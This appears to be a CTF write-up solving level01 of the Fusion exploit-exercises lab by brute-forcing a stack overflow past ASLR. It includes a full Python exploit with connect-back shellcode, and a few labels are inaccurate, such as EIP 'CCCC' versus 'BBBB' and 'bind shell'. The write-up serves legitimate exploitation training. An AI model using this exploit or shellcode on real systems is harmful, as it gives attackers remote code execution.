Fusion exploits Level 01

Introduction

Fusion exploits are a cool bunch of ctf type challenges that focus on Linux  binary exploits that progressively get harder. An ISO containing the OS and challenges can be downloaded from the main site.

The website with all challenge information and downloads is at https://exploit-exercises.com/fusion/

Fusion is the next step from the protostar setup, and covers more advanced styles of exploitation, and covers a variety of anti-exploitation mechanisms such as:

Address Space Layout Randomisation
Position Independent Executables
Non-executable Memory
Source Code Fortification (_DFORTIFY_SOURCE=)
Stack Smashing Protection (ProPolice / SSP)
In addition to the above, there are a variety of other challenges and things to explore, such as:

  • Cryptographic issues
  • Timing attacks
  • Variety of network protocols (such as Protocol Buffers and Sun RPC)

Challenge

Test run

Level01 is essentially the same code from Level00 except ASLR has been used. Most of the information gained from the previous challenge (level00) will be used here.

Level 01 is a network daemon that listens on port 20001. The iso image automatically starts the daemon for us. If we list the running processes we should see it.

fusion@fusion:~$ ps axu|grep level01
20001 1412 0.0 0.0 1816 52 ? Ss Sep21 0:00 /opt/fusion/bin/level01
...
fusion@fusion:~$ sudo netstat -nap|grep level01
[sudo] password for fusion: 
tcp 0 0 0.0.0.0:20001 0.0.0.0:* LISTEN 1412/level01 
fusion@fusion:~$ perl -e 'print "GET / HTTP/1.1"'| nc localhost 20001
trying to access /

Sending the the string “GET / HTTP/1.1” successfully invokes the vulnerable fix_path() call, as did level00’s binary.

Let’s check how core dumps are configured.

fusion@fusion:~$ ulimit -a 
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 31627
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 31627
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
fusion@fusion:~$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c

Appears core dumps have not been enabled.

Let’s enable them.

fusion@fusion:~$ su -c 'ulimit -c unlimited' root
Password: 
fusion@fusion:~$ ulimit -a 
core file size (blocks, -c) unlimited
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 31627
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 31627
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
fusion@fusion:~$ su -c 'echo "/tmp/cores/core.%e.%p.%h.%t" > /proc/sys/kernel/core_pattern'
Password: 
fusion@fusion:~$ cat /proc/sys/kernel/core_pattern
/tmp/cores/core.%e.%p.%h.%t

Good so far.

ASLR (Address space layout randomization)

A neat little script called checksec.sh written by Tobias Klein will run readelf on a given binary/process and inform you if any protection mechanism are present. checksec.sh can be download from trapkit

fusion@fusion:~$ sh ./checksec.sh --file /opt/fusion/bin/level01
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH /opt/fusion/bin/level01

No obvious security has been implemented on the level01 binary.

Let’s check if the kernel has aslr enabled

fusion@fusion:~$ cat /proc/sys/kernel/randomize_va_space
2

2 would indicate aslr is enabled in the kernel but the binary would still need to be compiled for aslr for it work.

A simple test would be to see the running binary’s memory maps and then compare the addresses after the binary has been restarted.

fusion@fusion:~$ sudo cat /proc/1412/maps 
08048000-0804b000 r-xp 00000000 07:00 75282 /opt/fusion/bin/level01
0804b000-0804c000 rwxp 00002000 07:00 75282 /opt/fusion/bin/level01
b770d000-b770e000 rwxp 00000000 00:00 0 
b770e000-b7884000 r-xp 00000000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b7884000-b7886000 r-xp 00176000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b7886000-b7887000 rwxp 00178000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b7887000-b788a000 rwxp 00000000 00:00 0 
b7894000-b7896000 rwxp 00000000 00:00 0 
b7896000-b7897000 r-xp 00000000 00:00 0 [vdso]
b7897000-b78b5000 r-xp 00000000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
b78b5000-b78b6000 r-xp 0001d000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
b78b6000-b78b7000 rwxp 0001e000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
bf9a7000-bf9c8000 rwxp 00000000 00:00 0 [stack]

Let’s see the memory maps after the restart

fusion@fusion:~$ sudo cat /proc/13004/maps 
08048000-0804b000 r-xp 00000000 07:00 75282 /opt/fusion/bin/level01
0804b000-0804c000 rwxp 00002000 07:00 75282 /opt/fusion/bin/level01
b765a000-b765b000 rwxp 00000000 00:00 0 
b765b000-b77d1000 r-xp 00000000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b77d1000-b77d3000 r-xp 00176000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b77d3000-b77d4000 rwxp 00178000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b77d4000-b77d7000 rwxp 00000000 00:00 0 
b77e1000-b77e3000 rwxp 00000000 00:00 0 
b77e3000-b77e4000 r-xp 00000000 00:00 0 [vdso]
b77e4000-b7802000 r-xp 00000000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
b7802000-b7803000 r-xp 0001d000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
b7803000-b7804000 rwxp 0001e000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
bfcdc000-bfcfd000 rwxp 00000000 00:00 0 [stack]

Yep, definite address change except in the main .text section (0x08048000).

Tip: Full binary protection is implemented when compiled as ‘PIE’ (Poisition Independent Executable).

Also, when developing exploits in gdb, gdb disables aslr, so to reenable aslr use

gdb-peda$ set disable-randomization off
gdb-peda$ start

Exploit

We know from level00 that we can overwrite EIP with our payload but our strategy of directing code execution to continue from an address on the stack where the rest of our payload was located cannot be done in this challenge because of ASLR changing the memory location of the stack and our payload. We will have to deploy something like rop gadgets, which I have previously covered in protostar challenge stack6 (so I thought).

We will take and build on the exploit payload from level00 here:

“A”x139 fills the buffer

“BBBB” overwrite EIP

“C” shellcode location

fusion@fusion:~$ perl -e 'print "GET /" ."A"x139 . "BBBB HTTP/1.1" . "C"x80'| nc localhost 20001
fusion@fusion:~$ sudo chmod o+r /tmp/cores/*
fusion@fusion:~$ gdb --core /tmp/cores/core.level01.938.fusion.1443316558 /opt/fusion/bin/level01 -q
Reading symbols from /opt/fusion/bin/level01...done.
[New LWP 938]

warning: Can't read pathname for load map: Input/output error.
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()(gdb) i r
eax 0x1 1
ecx 0xb765a8d0 -1218074416
edx 0xbfcfaf60 -1076908192
ebx 0xb77d2ff4 -1216532492
esp 0xbfcfaf60 0xbfcfaf60
ebp 0x41414141 0x41414141
esi 0xbfcfb015 -1076908011
edi 0x8049ed1 134520529
eip 0x42424242 0x42424242
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

EIP contains the “CCCC” from our payload.

Our challenge is to reach our shellcode in a memory location independent way, because ASLR will change the shellcode’s location.

Our first step will be to look for a memory location candidate that we can replace “CCCC” with, and won’t be affected by ASLR. Remember our memory map showed that the ,text region didn’t change. So that will be where we look for rop gadgets.

Well we know that esp must have been pointing at our shellcode in order for it to have taken the “CCCC” and overwritten EIP.

If we can find a rop gadget that can ‘jmp esp’ that would be great. I tried this and nothing turn up. Not surprising given the small size of binary.

Wait a minute, we might be over thinking this one. You may have noticed that the binary forks new client socket connections and if the client process crashes, the main process continues to run.

Brute force

Theoretically we should be able to write an exploit to brute force all possible memory locations to our shellcode. This is not very elegant but let’s hack something together and see what happens.

Let’s first start our listening socket on port ‘11111’ in case our shellcode runs.

fusion@fusion:~$ nc -vvvvl 11111

exploit script can be download from here

"""
This code is for fusion level01 challange.
Not complete yet.
"""
import socket
import sys
import re
import struct
from string import Template

def get_socket():
 try:
 #create an AF_INET, STREAM socket (TCP)
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(10)
 except socket.error, msg:
 print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
 sys.exit()

 print 'Socket Created'

 try:
 remote_ip = socket.gethostbyname( host )
 except socket.gaierror:
 #could not resolve
 print 'Hostname could not be resolved. Exiting'
 sys.exit()
 print 'Ip address of ' + host + ' is ' + remote_ip

 #Connect to remote server
 s.connect((remote_ip, int(port)))
 return s

host = sys.argv[1]
port = sys.argv[2]

try:
 EIP_byte1 = "\xbf\x00\x00\x00"
 #EIP_byte1 = "\xbf\x42\x42\x42"
 EIP_guess = "\x42\x42\x42"
#network bind shell listen 0.0.0.0 11111
 shellcode = "\x31\xdb\xf7\xe3\xb0\x66\x43\x52"\
"\x53\x6a\x02\x89\xe1\xcd\x80\x59"\
"\x93\xb0\x3f\xcd\x80\x49\x79\xf9"\
"\xb0\x66\x68\x7f\x01\x01\x01\x66"\
"\x68\x2b\x67\x66\x6a\x02\x89\xe1"\
"\x6a\x10\x51\x53\x89\xe1\xcd\x80"\
"\xb0\x0b\x52\x68\x2f\x2f\x73\x68"\
"\x68\x2f\x62\x69\x6e\x89\xe3\x31"\
"\xc9\xcd\x80"
 overflow = "A"*139
 nops = "\x90"*128
 command = "GET /$overflow$EIP_guess HTTP/1.1i$nops$shellcode"
 payload_template = Template(command)
 required_size = 128

 for i in xrange(0,16777216,128):
 s = get_socket()
 EIP_guess = hex(i)[2:].zfill(8)
 print EIP_guess
 EIP_guess = struct.pack('L', int(EIP_byte1.encode('hex'),16)+i)
 print EIP_guess.encode('hex')
 payload = payload_template.safe_substitute(EIP_guess=EIP_guess,nops=nops,overflow=overflow,shellcode=shellcode)

 print "Payloads size %s" %len(payload)
 #print payload
 s.sendall(payload)

 recv = s.recv(8086)
 #print recv
 s.close()

except socket.error, e:
 #Send failed
 print 'Send failed. %s' % e
 sys.exit()

print 'Done.'

Essentially the script starts with EIP at ‘\xbf000000’ and runs a loop incrementing the value of EIP. My first attempt I was incrementing in 1’s and then it occurred that by placing nops in front of the shellcode I would be able to use the size of the nop sled as a safe incremental. e.g nop size of 4 means I can afford to miss the shellcode within bytes of space.

In this script I placed a nop sled of 128 bytes and the wait was acceptable.

Let’s see it run.

fusion@fusion:~$ python fusion-level01.py localhost 20001
Socket Created
Ip address of localhost is 127.0.0.1
00000000
000000bf
Payloads size 353
Socket Created
Ip address of localhost is 127.0.0.1
00000080
800000bf
Payloads size 353
Socket Created
Ip address of localhost is 127.0.0.1
00000100
000100bf
...

After two minutes …

fusion@fusion:~$ nc -vvvvl 11111
Connection from 127.0.0.1 port 11111 [tcp/*] accepted
id
uid=20001 gid=20001 groups=20001

The script could be improved but I think the next few challenges will need a little more time to work on.

Thank you